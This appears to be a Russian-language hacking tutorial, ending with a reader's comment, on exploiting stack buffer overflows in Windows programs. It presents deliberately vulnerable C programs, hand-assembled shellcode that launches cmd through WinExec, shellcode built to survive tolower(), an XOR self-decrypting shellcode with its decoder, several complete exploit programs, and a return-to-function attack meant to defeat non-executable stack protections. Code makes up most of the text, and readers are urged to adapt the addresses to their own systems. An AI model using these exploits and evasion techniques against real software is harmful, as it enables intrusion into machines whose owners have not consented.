#include <windows.h> #include <stdio.h> unsigned char big[]= //32 bytes "AAAAAAAAAAA" "AAAAAAAAAAA" "AAAAAAAAAA" /*addr 4 bytes*/ //0x793BEDBB jmp esp in kernel32.dll "\xBB\xED\x3B\x79" /*shellcode bytes*/ //вот так лучше занулять регистры "\x33\xDB" //xor ebx,ebx //во избежания нулевых байт в шеллкоде //пихаем нулевой байт, как конец строки "\x53" //push ebx //а затем уже все почти как раньше. "\x68\x63\x6D\x64\x20" //push 20646D63h //только без нулевых байт. "\x8B\xC4" //mov eax,esp "\x6A\x01" //push 1 "\x50" //push eax "\xB8\x1D\x9C\x3A\x79" //mov eax,[WinExec] "\xFF\xD0" //call eax "\x53" //push ebx "\xB8\x19\xE0\x3A\x79" //mov eax,[ExitProcess]-1 <=793AE01Ah-1=793ae019h "\x40" //inc eax "\xFF\xD0"; //call eax void prepare_shellcode() { unsigned long kerneladdr; unsigned long addr; //Находим адрес ядра kerneladdr=GetModuleHandle("KERNEL32.DLL"); //Находим адрес WinExec в ядре и меняем его в шеллкоде addr=GetProcAddress(kerneladdr,"WinExec"); //printf("0x%08p\n",addr); *(DWORD *)(big+50) = addr; //Находим адрес ExitProcess в ядре и меняем его в шеллкоде addr=GetProcAddress(kerneladdr,"ExitProcess"); addr--; //printf("0x%08p\n",addr); *(DWORD *)(big+58) = addr; } void main() { prepare_shellcode(); printf(big); }
Специально оставил минимум комментариев для того чтобы народ шевелил мозгами.
3. А вот и они - еще варианты.
Ну и на последок о будущем - о других вариантах размещения шеллкода. Есть способы разместить шеллкод не в стеке а через WriteProcessMemory
и VirtualProtect. Этот метод основан, что мы храним свой шеллкод в памяти чужой программы, а затем переполняем буффер и делаем прыжок
туда. Вы спросите зачем усложнять? Отвечу - этот метод хорош для обхода защит от переполнения буффера.
Не забудьте вспомнить об аргументах, когда будете удивляться: почему у меня ничего не работает?
Переполнение буффера: Собираем все вместе. Практика.
Итак в принципе с переполнением буффера мы разобрались еще в прошлой главе, так что как таковая даная глава скажет вам
не особенно много по технике эксплойтинга. Здесь будет просто рассмотрен один любопытный пример, когда шеллкод попадает под модификацию. Код в студию.
/*buggy.c*/ #include <windows.h> #include <stdio.h> #include <string.h> //Уязвимость именно здесь void bugfunc(char *str) { char smally[18]; ZeroMemory(&smally,sizeof(smally)); //BUG IS OUT THERE 8)) strcpy(smally,str); printf("\nCopied string : %s \n",smally); } int main(int argc, char *argv[]) { char big[100]; int i=0; ZeroMemory(&big,sizeof(big)); //Правильный ввод строк в статические массивы. fgets(big,100,stdin); printf("\nGet string : %s\n",big); //Вот тут то наш код и искажается. for (i=0; i<100; i++) big[i]=tolower(big[i]); printf("\nModified string : %s\n",big); //Вызов уязвимой функции. bugfunc(big); return 0; }
Компилировать как обычно в релиз (Release). В принципе переполнение как переполнение, однако нет. Вся сложность не в том чтобы переполнить буффер, а в том, чтобы передать управление исполненяему коду, причем как адресс возврата, так и шеллкод не должны искажаться функцией tolower(), т.е. должны содержать из печатаемых знаков знаки только нижнего регистра. Как же найти такие символы? А очень просто - компилятор нам в руки.
#include <stdio.h> #include <stdlib.h> void main() { unsigned char i,lowbyte; for (i=0; i<0xff; i++) { lowbyte=tolower(i); if (lowbyte==i) printf("0x%02X\n",i); } getch(); }
Данная программа находит байты не искажаемые функцией tolower(). Теперь все в принципе как обычно. Итак установим опытным путем размер вводимого буффера (20 байт+4байта адрес) необходимого для модификации адреса возврата. Для нахождения jmp/call esp рекомендую взять функцию get_esp() использованную в прошлом эксплойте. Итак у меня call esp нашлось по адресу 0x793BEDBB. Посмотрим искажается данный адрес или нет. У меня среди байт показанной прогой нашлось и 0x79 0x3B 0xED 0xBB. Значит данный адрес возврата меня в принципе устраивает. Для тех у кого все адреса найденные функцией get_esp() не подходят (ну вам и не везет) подскажу что можно вместо jmp/call esp использовать вот что:
push esp
ret
Опкоды данной комбинации комманд соответственно 0x54 0xC3 можете поискать их в загруженных дллках, советую разобраться с данным моментом. Если что спрашивайте. Но все же постарайтесь решить данную проблему сами.
Следующую проблему я буду помогать вам решать, а именно написание шеллкода которому пофиг ф-ция tolower(). Итак код в студию. Напоминаю по прежнему избегаем нулевых байт. Я тут пробовал рыпаться и писать что-то не заксоренное. Но вот столкнулся с такой проблеммрй push r имеет опкод начиная от 0x50 и как следствие мы не можем никакие регистры пихать в стек. Как же нам исхитрится чтобы избежать там всяких push eax/ebx/ecx/edx/esp и прочего? Хм... Для начало давайте немного оптимизируем шеллкод - умешьшим его.
char shellcode[] //WinExec "\x68\x63\x6D\x64\x20" //push 20646D63h "\x8B\xC4" //mov eax,esp "\x50" //push eax "\xB8\x1D\x9C\x3A\x79" //mov eax,793A9C1Dh "\xFF\xD0 //call eax //ExitProcess "\x33\xDB" //xor ebx,ebx "\x53" //push ebx "\xB8\x1C\xE0\x3A\x79" //mov eax,793AE01Ch "\x83\xE8\x02" //sub eax,2 "\xFF\xD0"; //call eax
Проверьте, предварительно изменив адреса. Вроде должно работать с пол-пинка. Как видите шеллкод имеет лишь два слабых места:
- push eax (опкод 0x50) после tolower превращается в 0x70, итак со всеми push r.
- Адреса функций в ядре они не должны содержать не только нулевые (как у меня ExitProcess имееет адресс 0x793AE01Ah) но и байты верхнего регистра, вообщем постарайтесь подогнать под ваши адреса используя add r,x или sub r,x, замечу что inc/dec r нельзя, потому что они имеют опкод из области
верхних байт, т.е. они будут искажены.
Вторая проблем гораздо легче первой, решить ее можно сочетая математику и умения вычитания или сложения в ассемблере, как я и делаю. Теперь преступим к решению проблемы номер один. Для этого я расскажу вам как работает команда push. А работает он следующим образом push eax уменьшает esp на четыре (особенность роста стека на little endian), и пишет по адресу ss:[esp] содержимое регистра eax. Переделав слова в асм получим:
//push eax equivalent sub esp,4 mov ss:[esp],eax
Зная это переделаем наш шеллкод.
unsigned char shellcode[]= //WinExec "\x68\x63\x6D\x64\x20" //push 20646D63h "\x8B\xC4" //mov eax,esp "\x83\xEC\x04" //sub esp,4 "\x36\x89\x04\x24" //mov dword ptr ss:[esp],eax "\xB8\x1D\x9C\x3A\x79" //mov eax,793A9C1Dh "\xFF\xD0" //call eax //Exitwindows "\x33\xDB" //xor ebx,ebx "\x83\xEC\x04" //sub esp,4 "\x36\x89\x1C\x24" //mov dword ptr ss:[esp],ebx "\xB8\x1C\xE0\x3A\x79" //mov eax,793AE01Ch "\x83\xE8\x02" //sub eax,2 "\xFF\xD0"; //call eax
Проверьте его еще раз на работоспособность. Работает - отлично поехали дальше... Будем делать наш великий сплойт.
/*exploit.c*/ #include <stdio.h> void main() { char big[]= //20xA "AAAAAAAAAAAAAAAAAAAA" //0x793BEDBB call esp in kernel32 "\xBB\xED\x3B\x79" //WinExec "\x68\x63\x6D\x64\x20" //push 20646D63h "\x8B\xC4" //mov eax,esp "\x83\xEC\x04" //sub esp,4 "\x36\x89\x04\x24" //mov dword ptr ss:[esp],eax "\xB8\x1D\x9C\x3A\x79" //mov eax,793A9C1Dh "\xFF\xD0" //call eax //Exitwindows "\x33\xDB" //xor ebx,ebx "\x83\xEC\x04" //sub esp,4 "\x36\x89\x1C\x24" //mov dword ptr ss:[esp],ebx "\xB8\x1C\xE0\x3A\x79" //mov eax,793AE01Ch "\x83\xE8\x02" //sub eax,2 "\xFF\xD0"; //call eax printf(big); }
Вот в принципе уже готов эксплойт, но на душе все равно не спокойно. А что если нам требуется выполнить гораздо больший шеллкод или что еще
хуже в программе используется функция аналог tolower который более жесток переделывает шеллкод, например заменяет пробелы на плюсы или что нибудь в этом роде, чтож мы готовы и к этому. Тут есть два решения проблемы, как обычно экстенсивное и интенсивное. Интенсивное - пишем шеллкод который проксорен и сам себя расшифровывает в памяти, т.е. самомодифицирующийся шеллкод, и экстенсивный вариант описан выше. Итак перейдем к саморасшифровывающемуся шеллкоду. Для этого напишем простой шеллкод не задумываясь ни о чем ни о каких нулевых байтах.
unsigned char shellcode[]= "\x68\x63\x6D\x64\x00" //push 00646D63h "\x8B\xC4" //mov eax,esp "\x6A\x01" //push 1 "\x50" //push eax "\xB8\x1D\x9C\x3A\x79" //mov eax,793A9C1Dh "\xFF\xD0" //call eax "\x6A\x00" //push 0 "\xB8\x1A\xE0\x3A\x79" //mov eax,793AE01Ah "\xFF\xD0"; //call eax
Вот что сварганил я. Теперь перейдем к выбору байта для xor'а. Байт которым будет проксорен шеллкод не должен быть в самом шеллкоде дабе не получить после ксоренья нулевые байты. Я предлагаю проксорить шеллкод по приятному байту 0x0F (подбирал полчаса). Кстати советую к подбору байта для ксора отнестись серьезно. Ибо от этого очень многое зависит. Для получения проксоренного шеллкода использовал эту прогу.
#include <windows.h> #include <stdio.h> void main() { unsigned char shellcode[]= "\x68\x63\x6D\x64\x00" //push 00646D63h "\x8B\xC4" //mov eax,esp "\x6A\x01" //push 1 "\x50" //push eax "\xB8\x1D\x9C\x3A\x79" //mov eax,793A9C1Dh "\xFF\xD0" //call eax "\x6A\x00" //push 0 "\xB8\x1A\xE0\x3A\x79" //mov eax,793AE01Ah "\xFF\xD0"; //call eax int i; for (i=0; i<sizeof(shellcode)-1; i++) { printf("0x%02X ",shellcode[i]^0x0F); } getch(); }
Вот проксоренный шеллкод.
unsigned char xorcode[]= "\x67\x6C\x62\x6B\x0F" "\x84\xCB" "\x65\x0E" "\x5F "\xB7\x12\x93\x35\x76" "\xF0\xDF" "\x65\x0F" "\xB7\x15\xEF\x35\x76" "\xF0\xDF";
Теперь давайте напишем расшифровщик. Допишем его в начало и получим шеллкод. Вот тут приведу пример одного очень надежного расшифровщика.
use32 jmp codestart continue: pop esi xordec: xor byte [esi], 0fh add esi,1 cmp dword [esi], 'end.' jne xordec jmp xorcode codestart: call continue xorcode: .....
После метки xorcode: и пойдет наш заксоренный шеллкод. Как признак конца нашего шеллкода я поставил текст "end.", до него мы и будем расксоривать.
unsigned char shellcode[]= //расшифровщик. "\xEB\x11\x5E\x80\x36\x0F\x83\xC6" "\x01\x81\x3E\x65\x6E\x64\x2E\x75" "\xF2\xEB\x05\xE8\xEA\xFF\xFF\xFF" //шеллкод. "\x67\x6C\x62\x6B\x0F" "\x84\xCB" "\x65\x0E" "\x5F" "\xB7\x12\x93\x35\x76" "\xF0\xDF" "\x65\x0F" "\xB7\x15\xEF\x35\x76" "\xF0\xDF" //метка конца шеллкода. "end.";
Вот у нас уже готовый "конспиративный" шеллкод. Но неплохо было бы его проверить - проверьте. Теперь приступим к написанию финальной версии эксплойта.
/*exploit.c*/ #include <stdio.h> void main() { char big[]= //20xA "AAAAAAAAAAAAAAAAAAAA" //0x793BEDBB call esp in kernel32 "\xBB\xED\x3B\x79" //расшифровщик. "\xEB\x11\x5E\x80\x36\x0F\x83\xC6" "\x01\x81\x3E\x65\x6E\x64\x2E\x75" "\xF2\xEB\x05\xE8\xEA\xFF\xFF\xFF" //шеллкод. "\x67\x6C\x62\x6B\x0F" "\x84\xCB" "\x65\x0E" "\x5F" "\xB7\x12\x93\x35\x76" "\xF0\xDF" "\x65\x0F" "\xB7\x15\xEF\x35\x76" "\xF0\xDF" //метка конца шеллкода. "end."; printf(big); }
Вот и наш сплойт - у меня он работает, но у вас вряд ли. Ибо там зашиты адреса специфичные для моей системы. А давить халяву я вам не собираюсь давать, так что вам придется пройти все этапы самим, везде меняя адреса. А вообще советую пойти и сделать функцию prepare_shellcode, которая будет находить адреса функций, ксорить их и прописывать в шеллкод. Вообщем работайте.
0x04. Return-To-Func. Учимся кудесничать. Сразу в бой.
Итак в данной статье мы поговорим о том же пресловутом и всем надоевшем переполнении буффера в последний раз... И посвящена эта глава защитам, а точнее обходу защит от переполнения буффера (вроде той что встроена в Win 2003) например таких как Stack Shiled.
Для начала скажу немного о том, как примерно работают эти защиты, грубо говоря и не вдаваясь в технические подробности можно сказать, что защиты от перполнения буффера просто не дают выполнять код в стеке, в принципе это конечно неплохо, но в стеке исполняют на лету код многие
компиляторы. В результате они тоже не работают.... Ибо защиты от переполнения буффера не позволяют чтобы eip
приблизительно равнялся esp (плюс еще несколько хитрых методик). Т.е. никаких jmp/call esp или push esp; ret;..
Мдя, жестко, но все же - кто здесь главный? Неужели Билли?
Ну что ж хватит трепаться о плюсах и минусах... Как говорится Hey ho - let's go! Вот вам типичная уязвимая программка.
/*buggy.c*/ #include <windows.h> #include <stdio.h> void main() { char dummy[18]; LoadLibrary("MSVCRT.DLL"); gets(dummy); }
Вроде бы обычная уязвимая программка. Да так и есть. А MSVCRT.DLL я подгружаю чтобы у нас было больше выбора в будущем. В смысле больше вариантов, где что искать. Итак адрес возврата перезаписывается при вводе строки длиной 28 байта (найдено экспериментальным путем и только им). Все как обычно, но адрес возврата мы уже не можем указать на jmp esp. Куда же можно прыгнуть хм...? А прынуть можно сразу в какую-нибудь функцию, нпример в WinExec 8). Предварительно разместив ее аргументы в стеке, а в качестве адреса возврата из функции WinExec мы естественно поместим адрес ExitProcess. В результате вот схема:
- переполняем буффер и затираем адрес возврата из функции gets на адрес WinExec->
- пишем дальше в качестве адрес возврта из WinExec адрес ExitProcess'a->пишем аргументы для WinExec->
- пишем аргумент для ExitProcess'a.
В итоге вот какая у нас картина в стеке:
[24 букв 'A'][Адрес WinExec][Адрес ExitProcess][Аргументы WinExec'a][Аргумент ExitProcess'a]
Чтож если все понятно перейдем к практической части. Ну как искать адреса функций я думаю вы уже знаете, так что пропущу эту рутинную часть пока (будет в релизе эксплойта). Самое страшное это посик строк в дллках. Для этого с помощью хекс-редактора найдем в kernel32.dll или в NTDLL.DLL такие строки как "cmd\x00", т.е. "cmd" оканчивающуюся нулевым байтом. Мне не повезло и я не нашел эту строчку ни в KERNEL32 ни в NTDLL, однако нашел
в последней дллке включенной в нашей уязвимой программе "про запас".
Итак, смещение этой строки в дллке 0x34b9d. Искал я с помощью Hex WorkShop'a. Узнав с помощью LoadLibrary() адрес загрузки MSVCRT.DLL равный 0x78000000. Я соответсвенно сложил эти числа и получил адрес этой строки в памяти равный 0x78000000+0x34b9d=0x78034b9d.
Продолжил я свои поиски уже в kernel32.dll и нашел там первое 0x01 т.е. SW_HIDE для WinExec'a по смещению 0x4a, что меня конечно же не устроило ибо адресс этого байта в памяти получался как 0x79430000(адрес KERNEL32) + 0x4a=0x7943004a, т.е. адрес содержал нулевой байт, что неприемлемо. И я продолжил свои поиски пока не встретил этот же байт по удобоваримому для нас смещению 0x950, адрес же получался 0x79430950. Это нам подходит.
Осталось найти теперь нулевой байт для ExitProcess'a. Ищем и находим в KERNEL32 по смещению 0x3f7, адрес же соответственно 0x794303f7. Хотя, хочу заметить, с этим у вас проблем наверняка не будет ибо вся KERNEL32.DLL прямо-таки испещрена нулями. Теперь когда все готово напишем сплойт.
/*exploit.c*/ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <windows.h> #define BUF_SIZE 24 unsigned long cmdaddr=0x78034D24,oneaddr=0x79430950,nulladdr=0x794303f7; unsigned long winexecaddr=0x7944403F,exitaddr=0x79440E7D; int main(int argc, char *argv[]) { unsigned char evil[100]; ZeroMemory(evil,sizeof(evil)); memset(evil,0x90,BUF_SIZE); *(DWORD *)(evil+BUF_SIZE) = winexecaddr; *(DWORD *)(evil+BUF_SIZE+4) = exitaddr; //Аргументы WinExec *(DWORD *)(evil+BUF_SIZE+8) = cmdaddr; *(DWORD *)(evil+BUF_SIZE+12) = oneaddr; //Аргумент ExitProcess *(DWORD *)(evil+BUF_SIZE+16) = nulladdr; printf(evil); return 0; }
Проверьте вроде работает. Работает - у меня лично да. Вам же надо все адреса поменять для своей системы... Немножко автоматизируем этот процес...
/*exploitII.c*/ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <windows.h> #define BUF_SIZE 24 unsigned long cmdaddr=0x78034D24,oneaddr=0x79430950,nulladdr=0x794303f7; unsigned long winexecaddr,exitaddr; unsigned long SearchInMem(unsigned long start, unsigned long length, char *what, int len) { BYTE *ptr; unsigned long i; ptr=(BYTE*)start; for (i=0; i<length; i++) { if (memcmp(what,ptr+i,len)==0) return start+i; } return 0; } void get_params() { HANDLE h; int size=0; FILE *f; h=LoadLibrary("MSVCRT"); cmdaddr=SearchInMem(h,0xFFFFFF,"cmd\x00",4); h=GetModuleHandle("KERNEL32"); winexecaddr=GetProcAddress(h,"WinExec"); exitaddr=GetProcAddress(h,"ExitProcess"); } int main(int argc, char *argv[]) { unsigned char evil[100]; get_params(); ZeroMemory(evil,sizeof(evil)); memset(evil,0x90,BUF_SIZE); *(DWORD *)(evil+BUF_SIZE) = winexecaddr; *(DWORD *)(evil+BUF_SIZE+4) = exitaddr; *(DWORD *)(evil+BUF_SIZE+8) = cmdaddr; *(DWORD *)(evil+BUF_SIZE+12) = oneaddr; *(DWORD *)(evil+BUF_SIZE+16) = nulladdr; printf(evil); return 0; }
Теперь точно должно работать. Наверное. У меня работает опять-таки... Кстати, забыл сказать: вот эти строки можно в принципе выкинуть
*(DWORD *)(evil+BUF_SIZE+12) = oneaddr; *(DWORD *)(evil+BUF_SIZE+16) = nulladdr;
Ибо все равно работает. Проверенно опять-таки экспериментально.
В этот раз обошлись вообще без шеллкодинга - это я говорю нелюбителям ассемблера. В заключении скажу, что специально сделал второй вариант эксплойта и включил туда функцию SearchInMem, чтобы вы смогли легко взять ее и написать программку для автоматизированного поиска всяких интересных вещей в дллках и почей лабуде.
Статья очень хорошая! В своё время мне бы очень помогла! Прочитал всё с удовольствием.Респект Автору за проделанную работу.